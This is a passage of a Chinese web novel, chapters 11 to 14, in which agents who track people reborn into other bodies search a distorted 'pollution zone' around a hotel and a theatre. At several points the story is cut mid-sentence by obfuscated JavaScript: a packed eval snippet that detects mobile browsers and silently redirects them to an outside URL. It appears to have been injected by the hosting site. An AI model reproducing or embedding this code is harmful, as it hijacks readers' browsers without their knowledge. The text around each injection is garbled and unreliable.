方许恩说:“我家里人在我小时候就出意外走了,我不多的朋友都在国外,你确定要我现在打?” 秦于理似乎微微吃了一惊,上下打量了方许恩一阵才说:“那你打个110。” 方许恩嘴巴张得更大了:“秦小姐……” “叫名字。” “秦、秦于理,你刚刚说什么,你让我报警?” “嗯。” “报假警犯法的!”方许恩说,“到底出了什么事,你告诉我啊!” 秦于理直接劈手夺过方许恩的手机,拨打了110,方许恩着急去抢,秦于理身形灵活,一瞬间往后空翻退开了数米,把手机高高举在空中。 拨号音响起,然后,是一串忙音。 方许恩吃惊:“国内的报警电话还有打不通的时候?” 秦于理把手机丢还给他:“不是报警电话打不通,是我们被屏蔽了。” “被什么屏蔽了?” “正常的时间线、因果线,原因和源头还不清楚,但我们现在应该在一个重生污染区里。” “不是你等等!”方许恩就差抓耳挠腮了,他觉得自己虽然从小在国外长大,但中文学得挺好的,可为什么秦于理说的话他每个字都听得懂,连在一起却听不懂了? “你刚刚不是问我王洁琼的事吗?”秦于理在街边马路牙子上坐下来,托着腮看路上经过的车辆,“隀A61347,这辆车已经在我们面前经过三次了。” “什么?” “看,又来了。” 方许恩往秦于理指的方向看去,远远的有一辆蓝黄相间的出租车驶过来,直到靠近了他才发现车牌号的确是“隀A61347”。 “接着是隀B8255E,隀B17297和隀ADE3348……”秦于理一口气报出了一串数字,果然都一一应验。方许恩看傻眼了。 “秦于理,你是先知吗?” 秦于理冷冷地看向方许恩:“我不是先知,但你可能是智障。” 方许恩:“……” 秦于理说:“王洁琼是个重生者,我是负责办理重生案件的工作人员,重生者被回收后,相应的污染会被清除,和她接触过的人大部分应该都会把她忘记,但是你还记得。” 方许恩嘴巴慢慢张成了“O”型。 秦于理说:“萌萌昨晚应该让你吃了清理重生污染的补剂,结果今天你不仅记得她,没有合理化她的消失,还试图寻找她,你们的因果线原本应该没有纠缠,教化所大部分情况下不会出问题,这说明你有问题。我们现在被困在这里,多半和你有关。” 方许恩发誓,秦于理看向他的那一刻,他腿肚子都快抽筋了。 11.第11章 全靠您了! 秋樰生看到前方朝他蹦跳着挥手的赵萌萌,把车往路边随便一塞,没熄火,直接走过去。 赵萌萌看到他简直眼泪都要流下来:“可算是把您盼来了,秋队,污染指数还在上升,我只有一个人,实在没办法腾出手去做污染区域具体范围的评估。” 秋樰生问她:“秦于理有消息了吗?” 赵萌萌摇头:“还是失联状态。” 秋樰生又问:“情况往上汇报没?有没有应急预案?和市政府其他单位的联动机制呢?” 秋樰生这串话不是一气说的,只不过他问一个问题,小姑娘就摇一次头,问一个,就摇一次,结果听起来就像是他一口气问了一堆问题,而赵萌萌把头摇成了拨浪鼓。 秋樰生无语:“什么应急措施都没有,你找我一个人来,我又能做什么?” 赵萌萌委屈地说:“我就是个后勤,人不够的时候帮鲤鱼姐打打下手,这种事我从没碰到过,一般都是0000才会处理,那现在你就是新0000啊!” 秋樰生现在真有点好奇以前那个何0000是有多大的本事了,居然把赵萌萌养得那么“废”,但是真要有本事,又怎么会被迫转业? “那老范呢?”秋樰生问,范朋好歹年纪大,资历深,总该比赵萌萌靠谱点,结果赵萌萌睁着大眼睛回答道:“范老师今天休假。” “那就让他取消休假,马上回岗。” 赵萌萌一脸无措:“可我联系不上他,范老师每次休假都会闭关,鲤鱼姐也让我不要打扰范老师休息。” 秋樰生简直气乐了,重案组名头听起来高大上,干的活也挺像少年漫主角团才会干的那种,结果人丁凋零,老的老,小的小不说,做事还都这么没章法…… “秦于理这个队长怎么当的?” “鲤鱼姐挺……好的……”赵萌萌声音低下去,颇有种人在屋檐下,不得不低头的做小伏低感。她从眼皮底下偷偷打量秋樰生,嘴里无声碎碎念着什么,不用猜也知道肯定不是好话。 秋樰生没理小姑娘的当面蛐蛐,他仔细观察着前方云上酒店所在的区域,试图发现那里有什么异常。看了一阵后,秋樰生觉得那个片区外表上并没有什么不同寻常的地方,非要说的话,大概是那里的人流量好像有点多。 是的,没错!一旦留意到问题再带着问题去看,这个迹象就变得愈发明显。 “这里头是在搞什么活动吗?”秋樰生寻思。 现代社会不像古代,一座城还有现实存在的城墙,白天开门,晚上关门,现代社会的各个区域之间都是开放的,也就是高速公路上的闸机口算个地界与地界之间的分水岭。在这种情形下,一条道路上每天大概的车流和人流量都是可以观测和预估的,进多少,出多少大致维持在一个稳定数值,但秋樰生此时只是观望了一会儿便发觉进入云上酒店区域的行人车辆远比平时要多,虽然从他现在站立的地方无法直接观测到流出口的情况,但照这个进入频率,这会儿公路上应该堵车了才对。 但是,并没有。 以云上酒店为标志点,车流人流从不同的地方汇聚过来,进入该区域后却像是小鱼游入了大海,眨眼间就消失得无影无踪。 秋樰生还是头一次遇见这种情况。 赵萌萌说:“秋队,这是给您的装备,还有这个包里的是鲤鱼姐平时用的装备。” 秋樰生看着赵萌萌逐一展示那些似乎并不怎么高端的设备,一部好像上世纪八十年代大哥大的机子是污染指数探测器,哪儿有污染,能警示,污染超过阈值,能报数;一个罗盘一样的腕表,也是污染检测用的,不过是随身携带品,据说感应更灵敏精准,相对来说探测范围也缩小许多;一套黑色不知道什么材质的贴身打底衣裤,据说可以一定程度防范因果污染对身体的侵蚀;一个护目镜,附带通讯功能,可以在因果场中联系赵萌萌,获取她的场外帮助,也能辅助看到重生当事人的因果线;几罐子汽水,据说是污染清理补剂,还有一把黑色的楔子,说是定位污染范围用的,能往回传位置坐标。 “鲤鱼姐这次出去明明是去做收尾工作的,谁想到居然会碰上这种事!” “这种事不常见?” “当然了。从我们以往的经验来看,一个重生者很少能造成这么严重的污染,特别还是这种之前毫无征兆,突然爆发的。” “会不会同时存在多个重生者呢?” “哪那么容易就能重生的。通常一个重生者活动区域内不会存在别的重生者,回收完一个重生者后也要过一段时间才可能在同样的区域出现新的重生者。” 赵萌萌把重生者描述得跟山上的菌子似的,得养。 秋樰生问:“那到底要什么情况才能造成你说的这种重度污染?” 赵萌萌说:“还是同时同地存在多个重生者……吧?” 秋樰生沉下脸色,赵萌萌赶紧改口:“只是理论上,理论上有这个可能性嘛!还有可能是那个重生者一重生就闯了很大的祸,直接、间接影响了许多人的命运。” “比如?” “比如……嗯,扭转历史发展,不不不,这个太大了。”赵萌萌想了会儿说,“比如,杀了仇人全家,让本该活着的人突然死了,那么这些人原本牵连的那些因果线上的人也都会跟着受到影响,就像蝴蝶效应一样,影响就会越变越大。” “还有吗?” “想不到了。”赵萌萌说,“您不知道,重生矫正以后,因果线就修改回去了,关于案件的记录也会因此改变,所以我们手头有的资料都是正位于矫正中但还未完成矫正的重生者案件留下的临时记录,一旦对他们的矫正完成,这些记录也会跟着一起失效,根本保存不下来。” 秋樰生听明白了,难怪重案组没任何规则可依循,敢情他们连文字记录和脑子记忆都是不靠谱的。 这活是人能干的? 赵萌萌双手合十:“拜托拜托,秋队,我们现在能仰仗的只有您了,重案组今天以后是否还能存在也全看您!” 秋樰生深吸了口气让自己尽量耐心,然后再次确认:“所以用这个探测器配合腕表就能定位重生目标也就是污染源?找到污染源后开启护目镜找到因果线,想办法把人回收。补剂用来救急,楔子是定位污染范围用的没错吧?” 赵萌萌说:“秋队说得好棒棒,您讲得其他都对,就是找重生目标靠探测器和手表都没用,它们只能指个大概,一个指区域,一个更适合有精确目标后复验,所以锁定目标主要还是得靠经验,毕竟咱们组这个不是口袋妖精捕捉器。” 秋樰生问她:“请问我有个毛的经验?” 赵萌萌:“啊这……” 秋樰生问:“秦于理平时怎么锁定目标?” 赵萌萌说:“我们组里有台老设备,一般重生人活动造成的污染达到一定程度,仪器会提醒我们重生人大概的活动区域,然后鲤鱼姐就会过去排查。” 听起来跟大海捞针没区别…… 秋樰生彻底无语了,沉默了半晌才说:“你们组能活到今天挺不容易的。” 赵萌萌还想替重案组争辩几句,但想到秦于理的安危现在只能靠秋樰生帮忙,只得乖乖闭嘴。 秋樰生说:“行吧,我换衣服进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343431|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人。” “谢谢谢谢!” “先别谢,我可不是你们组人,只是看在同事份上,把装备带进去给秦于理,找到了她,我的任务就完成了,后续让她自己处理。外面交通管制你做得到吗?” 虽然重生机制模糊不清,秋樰生还没完全理解,但很显然,被重生污染波及到的人越多,情况一定会越复杂也越难把秦于理安全捞出来。 赵萌萌虽然有点不满,但还是说:“这个我当然会,您进去把楔子投放到污染系数绿跳红的位置,我会实时构建地图和方案,和交管沟通封锁方案。” 秋樰生点头。 “最后一个问题,”秋樰生问,“重生污染对人到底有什么影响?” “60ul范围内可以靠补剂清理,最多就是本人思维有点混乱,比如分不清梦和现实,认不清人,记不清事情等等,60-100ul范围,人会疯,但及时治疗的话,努努力还有救回来的机会……” 秋樰生想起昨夜那节地铁车厢的检测结果,赵萌萌是10ul,他本人则是1.1ul,看起来他应该有比较大的余裕。 “100ul以上呢?” “那人就坏掉了。”赵萌萌说。 “坏掉了?什么意思,跟疯掉一样吗?” “不一样,但是,我形容不出。”赵萌萌说,“上一个0000好像就是超过了100ul不得不转业的呢,可我记不清了,你懂的……” “行了。”秋樰生已经不指望再打听出什么了,他换上那套污染防护服,把秦于理的装备丢上车,独自朝云上酒店开去。 …… “方许恩。” “哎哎,来了来了。”方许恩现在跟条乖巧的小狗似的,紧紧跟着秦于理,她让干什么就干什么。 没办法,实在是他们现在在的这个区域变得好奇怪啊! 方许恩尽可能不动声色地打量四周,刚开始他只看到秦于理说的车辆循环,同样车牌号的车子每过一阵子就会出现在同一个地点,宛如单独循环的视频;接着,他发现路边的建筑物开始变形,刚刚走过的高楼,回过头去看凭空矮了几层,明明记得左手边是扇蓝色的大门,下次经过的时候却变成了红色的大门;再往后,路上的一切都变得奇怪起来,行人、鸟、蝉甚至是花草树木,天上的云朵,吹过来的风…… 他们在这附近转悠了很久,每次经过都能看到不同的景色,但不同的景色里又会保留着几分熟悉,导致他有种错觉,仿佛他们是动物园里的动物,一直在一个巨大的笼子里跑来跑去,只不过每跑一次,笼子里的丰荣就做一次调整。 秦于理告诉方许恩他们被困在了重生污染区,一个十分危险的地方,但方许恩对于这里的危险认识并不清晰,反而是职业病因为这些新鲜的景色跑了出来,不知不觉,他居然在脑海里谱起曲来。 秦于理打断了方许恩的思绪,问他:“你刚刚说你的本职是音乐家是吧?” “对。”方许恩回答得斩钉截铁,这一路上他几乎快把自己的底细抖搂干净了。 秦于理指着前方“隀明大剧院”里头问:“那这部音乐剧你听说过吗?” 方许恩顺着她手指的方向看过去,看到了铁门内一块大概五米多宽,两米多高的广告版,上面绷着精美的广告海报布。 海报上,一条老式马路两侧梧桐树亭亭玉立,白昼的阳光透过枝叶缝隙筛落,在斑马线交汇的十字路口地面上撒下一个个不规则印记,几道手牵着手的小小的孩童影子呈现在马路上,占据了一个角落,海报上面写的是“朱平作品,儿童音乐剧《野孩子》”。 12.第12章 好像忘了什么 方许恩有点尴尬,他现在生怕秦于理丢下自己,所以竭力想证明自己有用,但是对面真问到他的擅长领域了,他却答不上来。 方许恩支支吾吾:“我刚回国内没多久,对这里的市场环境还不够了解……” 秦于理打断他:“就是没看过。” “对。”方许恩垂头丧气,忽然想到什么,“这幅广告画好像一直没变过。” 秦于理点头:“观察力还行。” 他们在这片区域不知道溜达了多久了,很多事物来来回回地变,但这幅广告画在方许恩模糊的印象里似乎一直保持着原样。 什么都在变的世界里出现了不变的锚点,要推测这部音乐剧又或者这个剧院有问题就显得没那么难了。 “进去看看。”秦于理说着,直接走上前去推隀明剧院的铁门,方许恩赶紧跟上。 大门锁着,但小门开着,方许恩跟着秦于理走进去的时候看到旁边的门房里坐着个戴老花眼镜的老头,他正在捣鼓花生米,一粒一粒剥了壳,在手里一顿搓,然后“呼”的一口气,把花生衣都吹飞,得到一把油润光滑的花生果。 他做这件事情做得很专注,两个大活人从他面前经过,老头连眼皮都没抬一下。 “跟上。” 方许恩看这老头耽搁了一会,秦于理一喊他,赶紧又小跑步跟上,一面也没忘了打量四周。 秦于理刚刚夸方许恩观察力好,方许恩很受用,所以这会儿很努力想要再看出点什么,好体现自己的价值。 秦于理停在那堵广告墙前,若有所思。 方许恩也学她看了好一会儿,但这次一无所获。方许恩有点忍不住了,小心翼翼地问:“这幅广告有什么问题吗?” 秦于理没回答他,只说:“进去看看。” 方许恩一脸茫然,但还是跟着秦于理迈上台阶,走进这个剧院。 隀明剧院的主楼是栋老建筑,有四层高,大厅挑高极高,两侧是螺旋状楼梯,建筑里面很阴凉,还散发着一股经历岁月沉积的老木头的香味。 方许恩进入这里的时候似乎觉得有什么地方不对劲,但又说不上来,只当自己是疑神疑鬼。 剧院里头空无一人,也听不到人声。正对着两人的大厅里放了一台老式LED墙,上面用红字滚动播放着隀明剧院本月的活动安排表,方许恩留神看了一个来回却没找到刚刚广告上的《野孩子》。 方许恩正要向秦于理汇报,却见这位女警已经走开,正在查阅一旁摆放着的宣传架。宣传架上是一排排的宣传单页,应当就是屏幕上那些剧目的宣传物料。 “没有《野孩子》,也没有看到朱平的名字。”秦于理迅速浏览了一遍,说。 “没道理啊。”方许恩说。能够被放大摆在剧院门口当招牌揽客的剧目和创作者,在室内却既没有宣传公告也没有宣传物料,这明显不正常。 “对了,我想起来了……”方许恩说,“刚刚那幅广告上面没有标注演出时间。” “也没有宣传口号和主演名字。”秦于理说。 方许恩说:“那比起演出广告,我觉得那更像是一个概念设计,就是剧还没正式排出来前的先导宣传。” “这种事很常见吗?” “如果是名创作者、经典剧目、知名剧团还是有可能的,比如《歌剧魅影》《猫》那种。” “你确定不记得朱平这个人?” “可能是因为我孤陋寡闻。”方许恩颇有些羞愧。 不知最后质量的剧目、不知真面目的主演、以及一个不知来历的创作人,这样的概念宣传给谁看呢?但是,方许恩真的从未听说过这个名字。 秦于理说:“分头上楼找人问问。” “好。” 剧院的一层是大厅和小卖部,二层三层才是剧院,四层是办公室,两个人从上到下跑了个遍,结果一个人都没碰上。 剧院有很明显的使用中的痕迹,好些房间的门打开着,里面放着道具服装等物品,甚至舞台上还有灯光亮着,但是就是没人。 “这里的人都到哪里去了?”方许恩不理解,他本来还觉得新奇,但是越搜索这里,越有一种无名的恐怖感,渐渐地搓起了两臂上的鸡皮疙瘩。 秦于理则表情始终很冷静,两人重新回到底楼大厅碰头后,她说:“还有一个人能问。” “那个门房老头,”方许恩想起来了,“我去找他!” 他急匆匆地说着就往外面跑,有种这栋老建筑是妖怪的嘴,不快点跑就会被吃掉的危机感。 秦于理则还是不紧不慢地往外走。 方许恩很快跑到了大门口,令他震惊的是刚刚还坐在门卫室里搓花生的门房大爷不见了,只有一台立式摇头电扇和被吹得到处乱滚的花生证明刚刚他看见的那一幕不是做梦。 “人呢,人到哪里去了?”方许恩提高嗓门喊,“有人吗,门卫大爷在吗?” 没有人回答他,方许恩刚刚安定点的心又吊了起来,一回头,他被秦于理吓了一跳。 女人敲没声息地站在门口,身体斜靠着门框,不知观察了他多久,她的手上也不知道什么时候戴起了一副黑灰两色的皮革半指手套。 方许恩莫名腿软,他说:“大爷可能上厕所去了,我去别的地方找找。” 秦于理却拦住他:“不急,你先把你今天的行程按时间顺序说一遍。” “我的行程?” “对,就是你记得的,今天到现在为止你所有的行动轨迹。” 方许恩口干舌燥,但还是一个指令一个行动:“具、具体时间没怎么记,八点多的时候,我从警局被放出来,然后在门口想了会儿王洁琼的事情,大概过了十多分钟吧,我看到你出门,赶紧跟了上来……” 秦于理不说话,方许恩只能接着往下说。 “我想找你打听王洁琼的事嘛,但是喊你你不停,我只好一路跟到了这里,大概走了得有一个小时?嗯,那应该就是九点半吧,我跟丢了你,肚子又饿了,就随手推门进了家茶餐厅想找点吃的填饱肚子,结果发现你也在店里,然后我就干脆跟你打招呼,结果你忽然一把抓起我的手……” 秦于理说:“我记得你当时说我手腕上的表在动。” “是啊。” “你是来找我打听王洁琼的事情的,为什么会第一时间观察我的表?” 方许恩慌张起来,因为他发现他也不明白原因,他说:“我不知道啊,就是凑巧看了一眼……”这个问题让方许恩心跳个不停,好像里头包含着什么至关重要的讯息。 秦于理说:“你的解释不符合一般人的行为逻辑。你想了解事情跟着我,正常;跟丢我,也正常,因为我就是故意想要甩开你;你跟丢以后随手进家茶餐厅又能重新见到我,有偶然性,但并非不可能;但是你跟丢后随便进了一家店又找到我,找到我的第一时间发现我的腕表在动并说出来,这不合逻辑。” “你刚刚不是还夸我观察力强……” “手表指针本来就是会动的。”秦于理说,“在周围世界正常的时候我这个腕表就是个普通手表,不可能引起任何一个不知内情的人的注意,更何况你当时还着急打听王洁琼的事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349773|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方许恩心更慌了:“你想说明什么?” “说明你第一时间关注我的腕表异动不正常。” “那又能说明什么?”方许恩着急。 秦于理说:“说明你曾经在某个时间,在那间茶餐厅见过我,并且亲眼看到我使用过这只表的特殊功能。” 方许恩更糊涂了,与此同时,心跳却快得像要从喉咙里蹦出来,他讷讷道:“那、那又怎么样?” 秦于理说:“方许恩,我怀疑你在今天上午已经死过一次了,现在这个你,是个重生者。” …… 秋樰生驶入云上酒店片区后便放慢了速度,谨慎地打量四周。 虽然叫污染区,但除了那个大哥大侦测器和腕表有反应,一个叫、一个晃以外,其他看起来倒是挺正常。 一样的天空,一样的车水马龙,一样的各自奔忙在自己生活里的路人,就算不叫岁月静好,至少也是稀松平常。 秋樰生沿着大街开了一圈,期间因为车速慢,被人别过车,按过喇叭还被放下车窗被骂过娘,但他毫不在意。 在几次确认侦测器数值后,他下车,将一枚楔子钉进土地里,然后开车去下一个地方。 捞秦于理是帮忙,维护城市安全是本职,秋樰生做事一向有明确的计划性,讲究轻重缓急。何况秦于理如果已经出事了,他一个门外汉又能起什么大作用? 不过,秋樰生认为秦于理应该还没出事,毕竟那个女人,很明显是进了地狱也会把地狱打穿重新爬回来的类型。 秋樰生有点开小差地想,不知道重案组的负责人会不会重生,如果会的话,秦于理肯定会成为那个最难对付的重生人。 突然,秋樰生猛踩一脚刹车,车子发出尖锐的摩擦声,在距离一名横穿马路的路人不到半米的距离勉强停了下来。 一个年轻人从秋樰生车前浑浑噩噩地走过去,交通信号明明是红灯,他却不管不顾,硬闯车阵。 又是两声尖锐的刹车声,然后是“咚”的撞击声,一个男人破口大骂:“你怎么回事!” 秋樰生旁边车道的两辆车因为年轻人的鬼探头急刹追尾碰撞,前车司机骂骂咧咧地下车骂人。 秋樰生已经重新上路,他从后视镜看了一眼,司机正抓着年轻人的衣领,像是要揍他,但那个年轻人还是维持着梦游的样子,似乎根本没意识到自己的处境。 放在副驾驶的侦测器此时突然发出滴滴滴滴的巨大声响,失真的电子音开始播报:“检测到重生污染异变,数值67.8ul,警报,请及时避险处理,警报,请及时避险处理!” 这个区域本来就是重生污染区,侦测器一直在稳定地跳数,但之前始终维持在30ul左右,此时这个跳跃不可谓不大。 秋樰生赶紧放慢车速,抬腕看表,指针在表盘上一圈圈地跑马,一会儿顺时针,一会儿逆时针,疯得厉害。 秋樰生记得赵萌萌说过,污染指数超过60μl,人就会疯,他不确定现在疯的是侦测器还是他本人,又或者两者皆有? 秋樰生立刻靠边停车,他迅速回忆了一下自己的履历生平,并未察觉有任何逻辑缺陷,同时翻出包里的补剂,打开一口气灌下去半瓶,再看腕表,指针依然在飞快地来回摇摆。 秋樰生仔细回想,赵萌萌说过大哥大是跳污染指数用的,小腕表更适合有了大概目标后精确定位重生者,或许刚刚的污染警报不是他本人引发的,而是他,遇到了重生人?! 秋樰生脑海里立刻浮现刚刚那个奇怪的年轻人,他重新发动车子,猛打方向盘,掉头向后驶去。 13.第13章 你说谁死了? 方许恩脸都绿了,嘴唇直哆嗦:“你在说什么,谁死了?谁又重生了?” “你。”秦于理简短的回答差点把方许恩炸成碎片,还好她又紧接着说了下去,“但你的污染值又没那么高,所以很奇怪。” 方许恩没怎么听懂,但他听明白了一点,自己不符合重生人的某些指标。不符合,就不是,不是,就说明他没死过,方许恩长长舒了口气。 他真没想到自己有一天会因为从别人嘴里得知自己没死过而松一口气。 “不是,这话怎么这么别扭呢!”方许恩无奈道,“你刚刚就一直在说重生、重生污染什么的,能不能具体给我说说?我想,多个人就多条……就多个人想办法是不是?” 方许恩很明智地没有把自己定义为多的那条路,毕竟他现在还在状况外呢。 “重生就是重生,字面意思,死了又活。” “那就是复活?” “不一样,重生者一般是借他人的身体复活,比如你要找的王洁琼,她身体里其实是另一个人。” “那我显然不是重生者,”方许恩放下心来,“我还在我自己身体里!” “谁知道你是不是借方许恩身份重生的其他人伪装成了方许恩呢?”秦于理一句话又把方许恩打回地狱。 “你胡说!我是方许恩,方许恩就是我,我有方许恩所有的记忆,不信你考我!” 秦于理看他的眼神有点淡淡的嫌弃:“我们很熟吗?先别说我对方许恩有几分了解,重生者本来就有一定几率会继承原主的部分乃至全部记忆,不过……你对王洁琼那部分的记忆倒是无法继承的。王洁琼也是个重生者,她已经被带走矫正了,所以如果你不是方许恩本人,你的记忆里不应该有关于她的部分。” “也就是说,虽然你说我记得王洁琼不太对劲,但正是因为这份不对劲,反而洗清了我是重生者的嫌疑?” “对。” “太好了!” “不太好。”秦于理说,“明明不是重生者,污染指数却那么高。我刚刚在附近随机抓的那几个路人污染数值都没你高,可你又偏偏没高到重生者正主那个等级,这就显得更有意思了。” “我不懂你的意思。”方许恩觉得秦于理现在看他的眼神怪吓人的,有种生物解剖课上学生忍耐了一节理论课,终于被分到了一只青蛙的淡淡的兴奋感。 “有一种可能就是,你虽然没死、没重生,但是你和污染这片区域的重生者曾经极近距离接触过,还发生过某些因果交互,甚至有可能那人本来会重生到你身上,但是你莫名其妙脱困了,只留下了被污染过的印记,所以你的污染数值虽然达不到重生者的等级,但就是会比其他人都高。” 方许恩听得一愣一愣的:“让我理理。”方许恩说,“也就是说,我还是我,但是疑似差点被牵连进一桩重生案,变成别人的容器,只不过记得王洁琼的我有点特殊,那个重生者没成功,无奈换了人,然后把这一带都污染了,困住了咱们也造成了整片区域的异变对不对?” 秦于理点头。 方许恩这下终于放心了,虽然很不合时宜,也不符合他平时的作风,他还是一下子泄力瘫坐到门房那张空着的椅子上:“那敢情好,现在只要找到那个重生者,把他处理掉就好了。” “嗯。” “不过这么大一片区域,要上哪儿去找人……你、你干吗?” 秦于理直起身来,调整了一下自己手上的半指手套:“这就得靠你了,毕竟你们接触过。” “靠、靠我?我能知道什么?” “你知道的,只不过你不明原因屏蔽了那部分记忆,所以只有我想想办法让你想起来了。”秦于理活动手腕。 方许恩嚯的一下蹿起来,快速拉开和秦于理的距离,但他现在被秦于理堵在门卫室里,最后只能委屈地把自己努力贴近墙根,像犯了错罚站的学生。 秦于理往前才走了一步,方许恩就开始喊:“你可别胡来啊!我是外国公民,我受法律保护!你冷静一点!哇!” 秦于理就像捕猎的猫科动物,突然加速,一个箭步扑上来,左腿跨前,右手抬起,后撤蓄力,夹带着凛冽的破空声,砰的一拳轰到了方许恩……脸侧的墙壁上。 石灰掉落,整堵墙壁都跟着震颤了一下,方许恩惊呆了,过了好一会儿,他才感到自己的脸颊有些刺痒,伸手摸了一下,手指上留下了一条血线。 “血!!” 方许恩眼睁睁看着秦于理把拳头慢慢从墙上拔出,她的半指手套居然是套指虎,手背关节处弹出来的尖刺刚刚深深捅刺进了墙体里——她是真的要人命啊! 方许恩脸都吓没血色了,却听到秦于理说:“抱歉,今天出来的匆忙,没戴眼镜,没法无痛检测你的因果线,只能上点手段,你忍忍就好。”一边说一边又开始蓄力。 “手段?什么手段,你想对我上手段?!”方许恩发出惨叫,“你想杀了我吗!” “不想,但是只有生死危机才能激发你的因果线振荡,帮助你找回失去的记忆,我别无选择。” 方许恩:“你!” 又是一拳迎面而来,方许恩本来还想赌一赌秦于理是不是只想吓他,但求生本能还是让他在被打飞前一刻两腿一软,滚到了地上。拳风擦着方许恩的头皮过去,火辣辣的疼。 明明说了不想杀他,但秦于理压根就没留手! 方许恩连滚带爬,脑子里满满充斥着“我要死了”和“我是不是已经秃了”两种思想。 秦于理没有拦方许恩,她再次把指虎从墙上拔出来,挥手甩掉上面的灰,转身看向方许恩。 方许恩人都麻了,嘴里不停喊:“快想办法,死脑子,想啊,快想!!啊啊啊我完了……” 秦于理第三次出拳比前两次都快了不少,方许恩避无可避,下意识地闭上了眼睛,或许是因为太过绝望,这一次他的脑海里闪过了一些模糊不清的光影。 “想起来了!”方许恩大喊。 “真的想起来了?” “真的!!!” 尖锐的指虎就差几公分扎进眼球,方许恩看着那只不大却凶狠的拳头一点一点收回去,整个人都虚脱了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355054|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说吧。”秦于理打开手机录音,他们的手机现在没有联系功能,还好基础功能还保留着。 “我先前跟着你来到云上酒店后面那条马路,正在找你,突然看到有人从高处掉下来……”记忆屏障逐渐松动,方许恩很难形容那种感受,像是脑子里突然被人塞进了新东西,又像是那东西本来就在那里,不知道为什么他之前次次视而不见。 “是什么人?从哪儿掉下来?掉下来后发生了什么?” “事情发生得太突然,我没看清楚,好像是个女的,她从……”方许恩的猫儿眼猛然睁大,“从隀明大剧院,不对,隀明大剧院只有四层高,可我记得那房子有七八层高!” 秦于理没有打扰混乱的方许恩,只是留神注意着自己的腕表,静静听着。 记忆逐渐丰富,方许恩开始抓狂:“怎么会这样?我好像看到了那个人好几次从高处掉下来,第一次,我差点被砸到;第二次,我和你一起在茶餐厅里,那个人掉在茶餐厅外面,我们听到声音还一起往外看过;第三次、第四次……我真的记不清有多少次了,但是肯定不止三次!”方许恩问:“秦警官,我是不是疯了?” “还行,至少你刚才的话解释了你的污染数值为何偏高的问题。”秦于理说。 “可怎么会有一个人反复从隀明大剧院楼上掉下来?还有,为什么我记忆中的隀明大剧院有七八层楼高,这里却只有四层?” 秦于理说:“你看到的隀明大剧院不一定就是我们现在所在的隀明大剧院,重生会改变因果线,重生污染也会扭曲很多东西,可能是别的地方的建筑被错误嫁接到了这里,也可能单纯就是你的脑子受到重生污染影响产生了一定程度的幻觉,多次坠楼如果能用你的脑子出了错来解释我会感到很欣慰。” “为什么?” “因为如果不是你的脑子出了错,那么这里的状况就会变得更复杂!”秦于理说,“不管怎么样,都得等找到那个真正的重生者才能知道了。” “秦警官,我们现在算是在平行空间里吗?” “不算。我们实际所处的是一个偏移了正确轨道的的混乱的因果世界,平行空间和原空间是两个世界,因果偏移世界却是现实世界的一部分,只不过是病变的那部分。换言之,我们在这里所做的一切最后还是会作用于现实世界。” 方许恩细细琢磨着秦于理的话:“反正只要我们解决了这里的污染源头,偏移的世界就会恢复正常,我们也能回到现实的正确的那个世界对不对?” “那得看我们多久能找到那个重生人了。重生污染会让人发疯,我今天没带侦测器,现在看不到具体数值,但根据我的经验,你应该离精神崩溃不太远。” 怪不得刚刚秦于理说他“还行”,方许恩觉得自己这两天倒霉透了。 “放心吧,”秦于理说,“我失联了那么久,我的组员应该已经发现情况并想办法来找我了。最坏的结果无非是你疯了,但只要我能出去,我就会把你带出去。到时候,我会替你找个服务好点的精神病院住的。” 方许恩觉得自己一点也没被安慰到。 14.第14章 抓到你了! 秋樰生折返回去的时候,刚刚撞车的两名驾驶员已经走了,那个乱走造成追尾的青年却还停留在原地。他灰头土脸地坐在马路牙子上,衣服乱了,嘴角有淤青,脸上也有擦伤,估计刚刚挨过揍。 车辆来来往往,没有人多看他一眼。秋樰生找了个地方停车,带上侦测器,朝他走过去。 “喂,你!”他喊,“就你,马路牙子上那个!” 青年抬起头来,秋樰生才发现那压根不是个青年,确切的说,那是个个头挺高,但稚气未退的少年,也就是初高中的模样。现在的小孩子发育得早,走在街上实在很难一眼确定年纪。 秋樰生现在怀疑他还没成年。 少年听到秋樰生的喊声,看了他一会儿,突然瑟缩了一下,整个人像惊弓之鸟一样弹起来就跑。 秋樰生反应迅速,立刻发动撵了上去,嘴里警告:“站住,我是警察!” 这叫喊反而让少年跑得更快了。他慌不择路地冲进急速行驶的车流,眼看着就要被车辆撞到,秋樰生却发现那些原本正常行驶的车辆突然在一瞬间被施以了减速咒一样慢了下来,它们任由少年从自己中间穿过,跑到对面。 